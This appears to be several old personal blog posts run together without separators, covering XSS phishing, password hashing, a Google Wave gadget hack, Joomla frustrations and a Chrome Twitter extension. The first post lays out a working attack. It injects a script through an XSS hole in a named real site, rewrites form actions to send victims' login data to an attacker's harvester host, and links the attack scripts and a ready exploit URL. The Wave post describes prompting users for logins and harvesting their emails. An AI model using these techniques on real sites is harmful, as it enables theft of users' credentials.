Please note that when phishing by exploiting an unprotected frame which gets its content URL from a GET querystring (RFI) you’ll have to either copy the CSS etc to your own site or simply link to the sites own CSS files.

Moving on to the topic of this post, exploiting XSS vulnerabilities to phish the attacked users, of course without the users having a clue.

One of the methods which I don’t see get exploited is the JavaScript call “document.formName.action=’http://your-harvester-site.com/exploitingAction.php’”.

With the code above it’s possible to create a man-in-the-middle kind of attack where you can either just choose to log the information of the form or you can choose to tamper with the information before posting the data to the original action.

It can be done with this 3 step attack:

1. step: Inject the forms of a XSS exploitable page, e.g. with a script like this: http://www.e-x-e.dk/labs/autoPhisher/injector.js. A super simple yet effective script I’ll be using for this PoC.

2. step: Receive the form data, log it/tamper it and send the victim back to the original site with a new exploited URL injected with a “pusher”. This script could be done like this:

http://www.e-x-e.dk/labs/autoPhisher/source/index.php

This script is using a subclass of the abstract class TopLoader I’m using, it just has some basic functions for getting, setting, saving, deleting etc.

The last part of the script is computing a new pusher-injected URL to which the victim will be sent.

3. step: Let the pusher to its job

Since we cannot do a POST call for the victim to the original action serverside through PHP, we’ll have to make the browser do it for us through JavaScript.

The pusher script generates some JavaScript which is started when the is window.onload(). It tries to set the value of the form elements from the original form submit by the victim with getElementById. If the element is not found by this method it’ll try to set the value via the getElementsByName. Last but not least it auto submits the correct form with document.forms[{form ID}].submit(). The generator script is here:

http://www.e-x-e.dk/labs/autoPhisher/source/pusher.php

Here a place you can test this thing out:

http://www.doid.dk/page/main.asp?error=timeout&referer=%22%3E%3Cscript%20src=http://www.e-x-e.dk/labs/autoPhisher/injector.js%3E%3C/script%3E

Example user / password: testerLars / testerLars

Let me know what you think by making some comments and maybe leaving some more usage examples.

Speed

I started with some benchmarking: http://e-x-e.dk/labs/timing/ (source: http://www.e-x-e.dk/labs/timing/source.php).

This basically creates 10000 random strings with a length of 50 and then encrypting all of these random strings with all of the hashing methods of my php installation’s disposal. This outputs a sorted list of the methods. The consequents of choosing fx a slow hashing method means that you’ll have a bit more load on your server since speed == load. But then again, choosing a slow hashing method will also mean a slower bruteforce for the hacker – buying your users (or you) more time to change their passwords and you closing the hole. But you’ll have to remember that where your bigger load/increased hashing-time caused by the slower hashing method is spread out the bruteforcers isn’t. So it’ll be a bigger hit to the bruteforcer than it will be to you.

Common vs. uncommon method

When choosing a hashing method it can also be a benefit from my point of view to choose a less common method for hashing your password/information if you have the option. And the argument is quite simple I think. With common methods like md5 which is used by the majority of sites today there are already constructed huge (HUGE) rainbow tables etc. (http://www.freerainbowtables.com/da/tables/md5/). Therefore by choosing a common hashing method you are also decreasing it effectiveness since a lot of the string combinations have already been computed.

Choosing a more uncommon hashing method will get rid of this problem, but then again, this maybe result in a slower computing of the hash as well, and for some – that’s a problem. By choosing a fx a tiger(2), SHA-1 or SHA-512 hash over fx. md5 you would decrease the effectiveness/speed of the bruteforce.

Hash method attacks

The effectiveness of a hash method is of course also influenced by if it has been fx collision attacked (http://en.wikipedia.org/wiki/Collision_attack) or a preimage attack (http://en.wikipedia.org/wiki/Preimage_attack). Therefore you should also have this in your considerations when choosing a hashing method for your site.

Other things to consider

Things like salting your passwords etc etc is naturally also a good idea (maybe even with some HUGE salts, to ensure the length of the password extends the typical length of passwords and thereby setting the rainbow tables out of play). Some of these considerations might come in a later post.

I think there a lot fo pros and cons in this matter but as a general conclusion I think it’s time for the use of some more uncommon hashing methods in order to strengthen the security of information if hashed information is compromised. What do you think is the best hashing method to use and why?

So  I started with stealing a basic example, cleaned it down, leaving only the raw gadget. From there I used the “gadgets.util.registerOnLoadHandler(init);” functionality to load potentially malicious code onLoad of the Gadget. This can be used to prompt the viewer of the Gadget for eg. login information. The normal trusting user wouldn’t suspect this risk since it was prompted by Google Wave, right?

Passing on I’ve created a couple of buttons in the Gadget which called a couple of Javascript function which did a couple of different things, one simple alerted the user, just to show that you could do anything.

One button changed window.top.location, sending the user to a completely other site, away from the “protecting” environment of Google Wave.

One button got the viewers Google Wave ID (an email), his/hers display name and his/hers thumbnail url. This could maybe be used to created fake accounts on websites, compromising the viewers exclusive use of his/hers email. Of course the email could also be harvested and sold to spamming bad guys with a lot of “Great deals on Viagra”.

The last button I created in this little Gadget example did also change the window.top.location but this time not to an url but instead to some data:text/html – base64 encoded. This could be used to show ads or propaganda to the viewer without a possibility to block a specific url, since this was content defined in the Gadget’s code itself.

This is what I’ve been doing the last day or two I have you read this and spread the word and of course leave a comment or a trackback. As said I’ll be back with more Google Wave security when I get access to the Sandbox

My Gadget can be viewed and tested at this URL:

http://e-x-e.dk/labs/waveHack/hack1.xml

I have to set the darn thing up so it can run in Joomla! I’ve heard good things about Joomla in the past and I thought it would be a pleasure to do so. But I was wrong – boy was I wrong?!

First of all I got this horizontal menu at the top. I made it so it beautifully supports sub-items, nicely done in jQuery and in CSS. But since Joomla can’t generate the menu correctly itself I now have to hack Joomla and the menu in order to get the right view. It could have been nicely done if just Joomla offered some kind of advanced template functions like: “getMenuItems($menuId)”. I guess I’m just frustrated, I’ll move on to the some of the other stuff I guess – or so I thought.

I thought I could setup the place where the content goes but nooooooo. The div where the content goes is very specific with paddings, margins and width but I thought that putting in some content wouldn’t fuck that up but I was wrong again. Because for some unknown reason Joomla had to create nested divs, tables and what not inside my perfect CSS. And I can’t really hack this part because the “content holder” that Joomla uses is reused by all of it’s freaking components. I begin to wonder if it would be easier and faster to create this freaking thing from scratch!

I just gave up for today with a little hope though all of these freaking problems today. Because I maybe found a secret weapon within Joomla, an API – yes you read right! An API! The holy grail for a lot of developers as myself which do not accept the second best solution. But now I got a new problem! Only like 5 or 10% of this holy grail is documented in their API reference wiki.

Please comment or contact me if you got some solutions to some of my problems, if you are a Joomla geek or if you also got problems with Joomla and want to get it of your chest – just like I just did

This has resulted in some dramatic changes and improvements. But I’ve also got some things I would like to investigate further to improve the extension further.

Why doesn’t the extension (toolstrip) catch backspace key press but it does catches a normal key press like an enter key press or a simple letter?

Furthermore I’m considering letting an “enter” key press in the input field call the TwitterMe() function instead of letting the button (id=”submitMe”) doing so.

If you got some thoughts on this please comment this post.

Now for the changes and improvements of the new version of the extension. As Aaron suggested in my last post as a comment to the first and earlier version I let the Twitter-icon be a controller for toggling the visibility of the input and button. This works quite well after I decided to use jQuery as the JavaScript framework in this extension. I would have liked to expand the extension in the height but I couldn’t get Chrome to “dynamically” change the height of the toolstrip, only the width. I think the below quote should be rewritten if it’s only possible “dynamically” change the height of the toolstrip.

The toolbar automatically detects how much space a toolstrip needs and reflows. So you can resize your toolstrip dynamically if you need a little more room temporarily. - http://dev.chromium.org/developers/design-documents/extensions/toolstrips

Aaron also asked why I didn’t use a XHR call to the (brilliant) Twitter API instead of using the server-layer and that me research the possibilities of such a solution. After some investigation it’s now working fantastic.

Furthermore I decided to kick out the username and password fields since they were ruining the flow of extension. Your username and password is now to be entered in the “twitter-interface.html” which now also is XHTML Strict 1.0 valid (if that matters anyway).

Underneath I’ll include the download link to the new version as well as some new screenshots. Have fun and comment please!

Download link: http://e-x-e.dk/labs/chrome-twitter/twitter-addon_v_0_2.zip

Did you enjoy this post? Have a look at the post before, in this post there are some more information about installing the add-on (extension): http://www.e-x-e.dk/2009/05/29/labs-twitter-add-on-extension-for-google-chrome/.

So, today I saw some article about the Google Chrome add-ons (extensions as they also call them). And since I’m a Chrome user myself I decided to play along by creating a small basic extension for Chrome.

I went along and created a small extension which would update a persons status on Twitter (and possibly also Facebook - through the Twitter application). It works in a really simple fashion using a client-part and a server-part. I had to do so since Google Chrome doesn’t support native cURL yet. So this is how it works:

Client-part: A simple form containing the status, username and password which is posting to a php file (post.php).

Server-part: The server-part consists of the post.php and the twitterAPI.php. The post.php handels the post from the client and calls the function (in twitterAPI.php) which does a cURL post to the Twitter API. The function returns a fresh form ready to update the status after entering the new status and the password (username has been passed on after the return). The twitterAPI.php is a modified edition of the original work of Antonio Lupetti (http://woork.blogspot.com/2007/10/twitter-send-message-from-php-page.html)

For testing I just used the commandline option by editing the shortcut:
Target:
    "path_to_the_chrome.exe" --enable-extensions --load-extension="The_path_to_the_addon_folder"

    fx.
    "C:\Users\Thomas Stig Jacobsen\AppData\Local\Google\Chrome\Application\chrome.exe" --enable-extensions --load-extension="C:\Users\Thomas Stig Jacobsen\Documents\Chrome addons\twitter"
Start in:
    "path_to_your_chrome_application_folder"

    fx.
    "C:\Users\Thomas Stig Jacobsen\AppData\Local\Google\Chrome\Application"

I’m allowing anyone to use my server as the server-part (there is no kind of logging, I’m using the files that you can download underneath).

All the files can be found here:

http://e-x-e.dk/labs/chrome-twitter/twitter-addon.zip

Screenshot: